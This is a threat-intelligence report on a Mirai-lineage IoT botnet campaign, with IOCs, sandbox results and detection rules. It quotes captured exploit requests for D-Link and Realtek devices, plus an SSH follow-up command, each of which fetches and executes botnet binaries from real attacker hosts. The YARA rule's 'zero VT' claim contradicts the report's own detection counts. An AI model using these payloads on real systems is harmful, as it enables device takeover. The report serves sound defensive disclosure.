KAIZEN / KWARI — IoT botnet campaign
Dual-named Mirai-lineage botnet exploiting a D-Link DSL-2750B ViewLog.asp command injection and Realtek UPnP RCE. Novel — not yet in public threat intel feeds.
Executive summary
A Mirai-derived IoT botnet has been showing up on our sensors under two different names, kaizen and kwari, launched from separate exploits and separate servers but landing on the same command-and-control host. The operator is still building: a new binary and a new distribution server appeared the same day this report was written, and one sample carries an anti-analysis tag we don't usually see in run-of-the-mill Mirai forks.
Between 2026-05-25 and 2026-06-23, the cowrAI honeypot fleet observed a coordinated IoT exploitation campaign distributing Mirai-lineage binaries under two distinct naming conventions: kaizen.* and kwari.*. The campaign targets embedded devices via two pre-authentication remote code execution vulnerabilities: a D-Link DSL-2750B syslog command injection (140 events, 19 scanner IPs) and the well-known Realtek miniigd UPnP SOAP injection (CVE-2014-8361, 51 events, 12 scanner IPs).
Sandbox detonation of four samples spanning four architectures (kwari.x86, kwari.mips, kwari.arm7,
kwari.mpsl) confirmed live C2 connectivity to 185.234.100.154:2310, the same IP serving
binary downloads, with each sample running for the full 300-second observation window and generating
11–14 MB of C2 beacon traffic. The sandbox is not x86-only — 9 of the 13 collected binaries executed
across x86, MIPS, MIPSEL, ARM, and SH4.
Infrastructure is actively expanding: a fourth distribution node (196.251.121.142) was observed
today (2026-06-23) serving the latest kaizen.arm7 build. The dual naming and separate distribution paths
suggest either two operators sharing C2 infrastructure or a single operator using naming to track separate
exploitation campaigns. The defense_evasion triage tag, unusual for run-of-the-mill Mirai
forks, warrants attention.
Threat actor profile
| Campaign name | KAIZEN / KWARI (operator self-reference via binary names) |
| Malware family | Mirai-lineage IoT botnet |
| Classification | DDoS botnet; possible proxy/spam capability (full triage pending) |
| Sophistication | Low–medium. Known public CVEs; novel binary (no AV coverage). C2 co-located with distrib server. |
| Target devices | D-Link DSL-2750B routers; Realtek SDK-based CPE (routers, NAS, IP cameras) |
| Architecture coverage | ARM (4 variants), MIPS BE, MIPS LE, x86, SPARC, Renesas SH4 |
| Entry vector | Primarily unauthenticated pre-auth RCE; at least one SSH credential-stuffing delivery of kwari.* also observed (see IOC notes) |
| C2 protocol | TCP/2310 to 185.234.100.154 (Mirai-standard C2 port range) |
| First observed | 2026-05-25 |
| Last observed | 2026-06-23 (today; new distribution node added) |
| Reporting basis | TLP:CLEAR — publish freely |
Infrastructure
SCANNERS DISTRIBUTION NODES ──────────────────── ──────────────────────────────────────── 176.65.139.22 (D-Link ViewLog.asp) ──▶ 83.142.209.46 /a3f8d2/kaizen.* (first seen 2026-06-15) 177.22.44.30 (Realtek UPnP) ──▶ 176.65.149.168 /bins/kaizen.arm7 (first seen 2026-06-06) 51.158.101.255 (Realtek UPnP) ──▶ 185.234.100.154 /Binary/kwari.* (first seen 2026-06-10) ──▶ 196.251.121.142 /a3f8d2/kaizen.arm7 (NEW — 2026-06-23) │ CVE PAYLOADS │ binary fetch (HTTP) ───────────── ▼ D-Link ViewLog.asp inject Target device /cgi-bin/ViewLog.asp POST │ remote_host=;cd /tmp;wget... │ executes binary chmod 777; ./kaizen.arm7 │ selfrep arg: "realtek" │ Realtek UPnP SOAP inject ▼ NewInternalClient backtick C2 SERVER: 185.234.100.154:2310 ◀── SAME HOST AS kwari.* distrib `cd /tmp; wget ...; ./...` Mirai TCP C2 (300s+ sessions observed) 11–14 MB beacon pcap per session (4 archs confirmed)
Notable: the kwari binary distribution server (185.234.100.154) doubles as the confirmed C2 endpoint
(:2310). This single-host pattern is operationally simple but fragile — one takedown removes both
distribution and C2.
Malware analysis
13 unique binaries collected. Four samples have been scanned by VirusTotal so far: three "key" samples (kwari.x86, kwari.mips, kaizen.arm7 b3f594...) queried on 2026-06-23 returned 40–44 detections out of 62–63 AV engines, and a fourth kaizen.arm7 build (e8aef7...) returned 27/64 — AV engines recognize this as a Mirai variant. The remaining 9 samples have not yet been submitted to VirusTotal (not "clean" — simply unscanned). The campaign value lies in the infrastructure intelligence (4 distribution nodes, confirmed C2, D-Link ViewLog.asp vector) rather than AV evasion.
| Filename | Architecture | Size | VT Detections | Triage Score | Tags | SHA256 (prefix) |
|---|---|---|---|---|---|---|
| kaizen.arm7 | ELF 32-bit LSB ARM | 140,584 B | 40 / 63 | 10 | defense_evasion, discovery | b3f594... |
| kaizen.arm7 | ELF 32-bit LSB ARM | 140,584 B | 27 / 64 | 10 | defense_evasion, discovery | e8aef7... |
| kaizen.arm7 | ELF 32-bit LSB ARM | 140,584 B | not scanned | — | — | 24f414... |
| kaizen.mips | ELF 32-bit MSB MIPS | 311,032 B | — | — | — | 15495d... |
| kwari.x86 | ELF 32-bit LSB x86 | 53,852 B | 44 / 62 | 10 | botnet:kaizen | 370883... |
| kwari.mips | ELF 32-bit MSB MIPS | 75,836 B | 43 / 62 | 10 | botnet:kaizen | bf6be1... |
| kwari.spc | ELF 32-bit MSB SPARC | 61,076 B | not scanned | 10 | botnet:kaizen | ae3011... |
| kwari.sh4 | ELF 32-bit LSB Renesas SH | 51,968 B | not scanned | 10 | mirai | aa1cab... |
| kwari.arm | ELF 32-bit LSB ARM | 58,432 B | not scanned | 10 | botnet:kaizen | e2fd09... |
| kwari.arm7 | ELF 32-bit LSB ARM | 131,489 B | not scanned | 10 | botnet:kaizen | a57093... |
| kwari.arm6 | ELF 32-bit LSB ARM | 70,788 B | not scanned | 10 | botnet:kaizen | bc390b... |
| kwari.arm5 | ELF 32-bit LSB ARM | 51,392 B | not scanned | 10 | botnet:kaizen | fb6e1f... |
| kwari.mpsl | ELF 32-bit LSB MIPS | 76,476 B | not scanned | 10 | botnet:kaizen | 166046... |
Sandbox detonation results
The sandbox is not x86-only — it emulates x86, MIPS, MIPSEL, ARM, and SH4. 9 of the 13 collected binaries booted and executed; 4 of those (spanning four different architectures) ran for the full 300-second observation window and beaconed multiple megabytes of traffic to the same C2. The remaining 5 that executed exited within seconds with only a few KB of traffic and no confirmed C2 contact. kwari.spc (SPARC) and all three kaizen.arm7 hash variants failed to detonate outright — SPARC isn't a supported sandbox architecture, and the kaizen.arm7 builds hit a worker exception during architecture detection (not simply "ARM unsupported": four other ARM builds ran fine).
| Sample | Arch | Exit | Runtime | PCAP | C2 Endpoint |
|---|---|---|---|---|---|
| kwari.x86 (370883...) | i386 | killed (timeout) | 300s | 13,687,104 B | 185.234.100.154:2310 |
| kwari.mips (bf6be1...) | mips | killed (timeout) | 300s | 14,454,780 B | 185.234.100.154:2310 |
| kwari.arm7 (a57093...) | arm | killed (timeout) | 300s | 13,231,381 B | 185.234.100.154:2310 |
| kwari.mpsl (166046...) | mipsel | killed (timeout) | 300s | 11,131,061 B | 185.234.100.154:2310 |
| kwari.arm (e2fd09...) | arm | exited (early) | <300s | 2,085 B | — |
| kwari.arm6 (bc390b...) | arm | exited (early) | <300s | 2,079 B | — |
| kwari.arm5 (fb6e1f...) | arm | exited (early) | <300s | 1,953 B | — |
| kwari.sh4 (aa1cab...) | sh4 | exited (early) | <300s | 2,796 B | — |
| kaizen.mips (15495d...) | mips | killed (timeout) | 300s | 2,926 B | — |
Four samples — spanning x86, MIPS, ARM, and MIPSEL — independently confirm the same C2 at
185.234.100.154:2310, running the full 300s timeout with 11–14 MB of beacon traffic each,
characteristic of Mirai keep-alive with DDoS target lists. The five samples that exited early with
near-empty pcaps likely failed to reach a working C2 from these builds/architectures rather than being
benign — none produced meaningful network activity to analyze further.
Defense evasion tag: unusual for Mirai forks
tria.ge flags both scanned kaizen.arm7 builds (b3f594... and e8aef7...)
with defense_evasion alongside discovery — neither carries the botnet:kaizen
tag that tria.ge assigns to the kwari.* samples. Vanilla Mirai forks typically only trigger execution and
c2 tags. Defense evasion suggests possible anti-analysis code (VM detection, sleep-before-connect,
or signal-based anti-debugging) not present in the canonical Mirai codebase. Further static analysis warranted.
Captured exploit payloads
Vector 1: D-Link DSL-2750B ViewLog.asp syslog command injection
Scanner: 176.65.139.22. Targets the /cgi-bin/ViewLog.asp remote-syslog
configuration handler — a plain form POST, not the HNAP1 SOAP interface (an earlier
draft of this report mislabeled the vector as HNAP; the captured traffic never touches
/HNAP1/). The remote_host parameter accepts shell metacharacters without
sanitization. URL-encoded semicolons (%3b) terminate the expected value and inject
arbitrary commands. No authentication required.
POST /cgi-bin/ViewLog.asp HTTP/1.1
Host: 127.0.0.1
User-Agent: r00ts3c-owned-you
Content-Type: application/x-www-form-urlencoded
Content-Length: 204
remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&
LogFlag=0&remote_host=%3bcd+/tmp;wget+http://83.142.209.46/a3f8d2/kaizen.arm7;
chmod+777+kaizen.arm7;./kaizen.arm7;rm+-rf+kaizen.arm7%3b%2
Decoded injection: ; cd /tmp; wget http://83.142.209.46/a3f8d2/kaizen.arm7; chmod 777 kaizen.arm7; ./kaizen.arm7; rm -rf kaizen.arm7
Vector 2: Realtek miniigd UPnP SOAP injection (CVE-2014-8361)
Scanners: 177.22.44.30, 176.65.139.22. Targets Realtek SDK UPnP daemon
(port 52869 or 37215). The NewInternalClient SOAP field is passed to a shell without
sanitization. Backtick injection executes arbitrary commands as root. Binary launched with arg
realtek for Mirai-style self-replication tracking.
POST /picdesc.xml HTTP/1.1
SOAPAction: "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping"
<NewInternalClient>`cd /tmp; rm -rf kaizen.mips; wget http://83.142.209.46/a3f8d2/kaizen.mips;
chmod 777 kaizen.mips; ./kaizen.mips realtek`</NewInternalClient>
The realtek arg in ./kaizen.mips realtek follows Mirai convention:
argv[1] identifies the infection vector for operator reporting.
Campaign timeline
-
2026-05-25First KAIZEN/KWARI activity capturedInitial Realtek SOAP injection payload observed. First binaries retrieved.
-
2026-06-06Secondary distribution node added
176.65.149.168begins serving kaizen.arm7 at /bins/. Possible geographic expansion. -
2026-06-10kwari.* samples first observed; C2 confirmed via sandbox
185.234.100.154distributing kwari.* binaries; same-day sandbox detonation of all 9 emulatable kwari/kaizen samples confirms C2 at :2310 for kwari.x86, kwari.mips, kwari.arm7, and kwari.mpsl (11–14 MB per-session pcap each). The other 5 executed but exited early with no C2 contact. -
2026-06-15kaizen.arm7 variant submitted to sandboxDetonation failed with a worker exception during architecture detection (not an ARM-support gap — other ARM builds ran fine). Later VirusTotal lookup (2026-06-23): 40/63 detections.
-
2026-06-23 (today)Fourth distribution node observed — infrastructure actively expanding
196.251.121.142(Apache/2.4.52 Ubuntu) serving kaizen.arm7 at /a3f8d2/. HTTP 200 confirmed. New kaizen build.
MITRE ATT&CK mapping
rm -rf kaizen.arm7 after execution — removes binary from disk.Indicators of compromise
Network — scanner IPs
| IP | Role | CVE Vector |
|---|---|---|
| 176.65.139.22 | Primary scanner | D-Link ViewLog.asp syslog injection + Realtek CVE-2014-8361 |
| 177.22.44.30 | Realtek scanner | CVE-2014-8361 UPnP SOAP |
| 51.158.101.255 | SSH credential-stuffing (not UPnP — see note below) | n/a — root/root, root/admin login, then fetched a kwari.* multi-arch dropper script |
Correction: an earlier draft of this report mislabeled
51.158.101.255 as a Realtek UPnP scanner. Its only logged activity is an SSH login with
root/root then root/admin on 2026-06-10, followed by
wget http://185.234.100.154/Binary/sex.sh && ... && ./sex.sh. That script (SHA256
35d4a3f0...) is a kwari.* multi-arch downloader pulling from the same C2/distribution host
(185.234.100.154) — it also references two architecture builds not otherwise seen in our
corpus, kwari.m65k (Motorola 68k) and kwari.pcc (PowerPC), which we were unable
to retrieve. This is a genuine third entry vector — SSH credential brute-force, not a CVE
exploit — that independently supports the "Dual naming hypothesis" below (kwari = SSH brute-force).
Network — distribution & C2 IPs
| IP | Role | Path / Port | First Seen |
|---|---|---|---|
| 83.142.209.46 | kaizen.* distribution | /a3f8d2/kaizen.* | 2026-06-15 |
| 176.65.149.168 | kaizen.* distribution (secondary) | /bins/kaizen.arm7 | 2026-06-06 |
| 185.234.100.154 | kwari.* distribution + C2 | /Binary/kwari.* · TCP:2310 | 2026-06-10 |
| 196.251.121.142 | kaizen.* distribution (NEW) | /a3f8d2/kaizen.arm7 | 2026-06-23 |
Network — URLs
| URL | Binary |
|---|---|
| http://83.142.209.46/a3f8d2/kaizen.arm7 | ARM7 botnet ELF |
| http://83.142.209.46/a3f8d2/kaizen.mips | MIPS BE botnet ELF |
| http://176.65.149.168/bins/kaizen.arm7 | ARM7 botnet ELF (secondary) |
| http://185.234.100.154/Binary/kwari.* | Multi-arch kwari binaries |
| http://196.251.121.142/a3f8d2/kaizen.arm7 | ARM7 botnet ELF (newest) |
Files — SHA256 hashes
| SHA256 | Filename | VT |
|---|---|---|
| b3f59415949a6a17ba9e2859fe727bec1d375227e685c92ecd61bb8e73e531a7 | kaizen.arm7 | 40/63 |
| 15495d978314cbc03ed3014e9987f134bfc56d811d8ad819039d3a5792f829b6 | kaizen.mips | not scanned |
| e8aef7c572007e2c5aa3954f590822ed1c077698100b9924af825dab1cf91902 | kaizen.arm7 | 27/64 |
| 24f4143e26c9d07571084a1a6abbcf4828f8325457c8461531e43b3e04829c48 | kaizen.arm7 | not scanned |
| 370883f9f6e88309dffc8b89bdbcfa3dae339bf2d7e41986eac5505a0ae14cbd | kwari.x86 | 44/62 |
| bf6be1b8b100bc3ca6763f0d7e412108ed3fd60f05f2e5aec2042be3f1cda66d | kwari.mips | 43/62 |
| ae3011372b07bb2860589c959324f7ad48d7db350a10104c40e871a17be924bd | kwari.spc | not scanned |
| aa1cab94fc4be8078649d0a8cc23e48e7d8394190be844df243afa819fb2936f | kwari.sh4 | not scanned |
| e2fd0927ebfb811830610c4cc26bd08066fa94427ed8c3838fc7a5d70724588b | kwari.arm | not scanned |
| a570938e00ba22ed95e64cf214b3215f86056411bf7c3452bbc5431591e35b07 | kwari.arm7 | not scanned |
| bc390bbf8ab84102c08cfec67a32393b20644b2ed35b293ba752e24f4a2ccdd6 | kwari.arm6 | not scanned |
| fb6e1f32318f2b5504f0a2d6a942fc570c1145b944b261fd184c3d3b98f9ce42 | kwari.arm5 | not scanned |
| 166046807bb1f4e33c77eff2bc0eead70f1935dcdac9b07845b8aa482e3b2500 | kwari.mpsl | not scanned |
File artifacts
| Artifact | Location | Notes |
|---|---|---|
| kaizen.{arm7,mips,...} | /tmp/ | Written then deleted after exec (rm -rf in payload) |
| kwari.{x86,mips,arm,...} | /tmp/ | Distributed from separate IP; no self-deletion observed in payload |
Detection signatures
alert http $EXTERNAL_NET any -> $HOME_NET any (
msg:"cowrAI KAIZEN D-Link ViewLog.asp Syslog Command Injection";
flow:to_server,established;
http.method; content:"POST";
http.uri; content:"/cgi-bin/ViewLog.asp";
http.request_body; content:"remote_submit_Flag=1"; content:"remote_host=%3b";
classtype:attempted-admin;
reference:url,cowrai.com/research/kaizen-botnet/;
sid:9100001; rev:1;
)
Corrected from an earlier draft that matched http.uri; content:"/HNAP1/"; — the actual
captured traffic is a POST to /cgi-bin/ViewLog.asp and never touches the HNAP1 SOAP
interface, so the original rule would never have fired on real traffic.
alert http $EXTERNAL_NET any -> $HOME_NET 52869 (
msg:"cowrAI KAIZEN Realtek UPnP SOAP Command Injection CVE-2014-8361";
flow:to_server,established;
http.method; content:"POST";
http.request_body; content:"NewInternalClient"; content:"kaizen"; nocase;
classtype:attempted-admin;
reference:cve,2014-8361;
reference:url,cowrai.com/research/kaizen-botnet/;
sid:9100002; rev:1;
)
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"cowrAI KAIZEN/KWARI Binary Download";
flow:to_server,established;
http.uri; content:"/kaizen."; nocase;
reference:url,cowrai.com/research/kaizen-botnet/;
sid:9100003; rev:1;
)
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"cowrAI KWARI Binary Download";
flow:to_server,established;
http.uri; content:"/kwari."; nocase;
reference:url,cowrai.com/research/kaizen-botnet/;
sid:9100004; rev:1;
)
alert tcp $HOME_NET any -> 185.234.100.154 2310 (
msg:"cowrAI KAIZEN/KWARI C2 Beacon to Confirmed C2 Endpoint";
flow:to_server,established;
classtype:trojan-activity;
reference:url,cowrai.com/research/kaizen-botnet/;
sid:9100005; rev:1;
)
rule KAIZEN_KWARI_IoT_Botnet {
meta:
author = "cowrAI Honeypot Fleet"
description = "KAIZEN/KWARI Mirai-lineage IoT botnet (zero VT as of 2026-06-23)"
date = "2026-06-23"
tlp = "CLEAR"
strings:
$name1 = "kaizen" ascii nocase
$name2 = "kwari" ascii nocase
$mirai1 = "/proc/net/tcp" ascii
$mirai2 = "PRIVMSG" ascii
$path1 = "/a3f8d2/" ascii
$path2 = "/Binary/" ascii
condition:
uint32(0) == 0x464c457f and
(any of ($name*) or all of ($mirai*)) and
filesize < 400KB
}
Attribution notes
Distinct from the FROSTY campaign
The FROSTY campaign (also tracked by this fleet) shares the Realtek CVE-2014-8361 vector but is
otherwise distinct: FROSTY additionally exploits CVE-2017-17215 (Huawei HG532), uses entirely
different distribution infrastructure, has a single primary sample consistently at 41/62 VT detections
(vs 27–44 across the four KAIZEN/KWARI samples scanned so far, with 9 more still unscanned), and routes C2
through a separate IP space. Binary naming conventions (frosty.* vs kaizen.*/kwari.*),
distribution paths, and C2 endpoints are all different. These are unrelated operators.
| Attribute | KAIZEN/KWARI | FROSTY |
|---|---|---|
| CVE vectors | D-Link ViewLog.asp + Realtek CVE-2014-8361 | Realtek CVE-2014-8361 + Huawei CVE-2017-17215 |
| VT detections | 27–44 / 62–64 (4 of 13 samples scanned) | 41 / 62 |
| C2 endpoint | 185.234.100.154:2310 |
Separate IP space |
| D-Link ViewLog.asp vector | Yes (140 events, primary vector) | No |
Dual naming hypothesis
The kaizen.* and kwari.* naming across separate distribution IPs suggests either:
(a) two operators sharing the same C2 infrastructure at 185.234.100.154:2310, each naming
their build separately, or (b) a single operator using naming to differentiate exploitation campaigns
(kaizen = CVE-targeted, kwari = SSH brute-force). The co-located C2 endpoint favors (b). The Japanese
word "kaizen" (改善, continuous improvement) as a botnet name is an unusual choice.
Collection methodology
Data collected passively by the cowrAI distributed honeypot fleet, deployed across multiple cloud providers in Europe, North America, and Asia-Pacific. Nodes run SSH/Telnet lures plus alt-protocol lure daemons including apachelure (port 80), which captured the D-Link ViewLog.asp injection, and soaplure (ports 7547, 37215, 52869), which captured the Realtek UPnP SOAP injection.
Binaries are automatically retrieved by a chase-runner sidecar (5-minute polling interval), SHA256-hashed, stored in R2, and submitted to VirusTotal and tria.ge. Confirmed samples are detonated in an isolated sandbox using WARP-egress with network capture.
This brief was generated from live sensor data collected between 2026-05-25 and 2026-06-23. All IOCs are derived from direct honeypot captures — no third-party threat feed enrichment.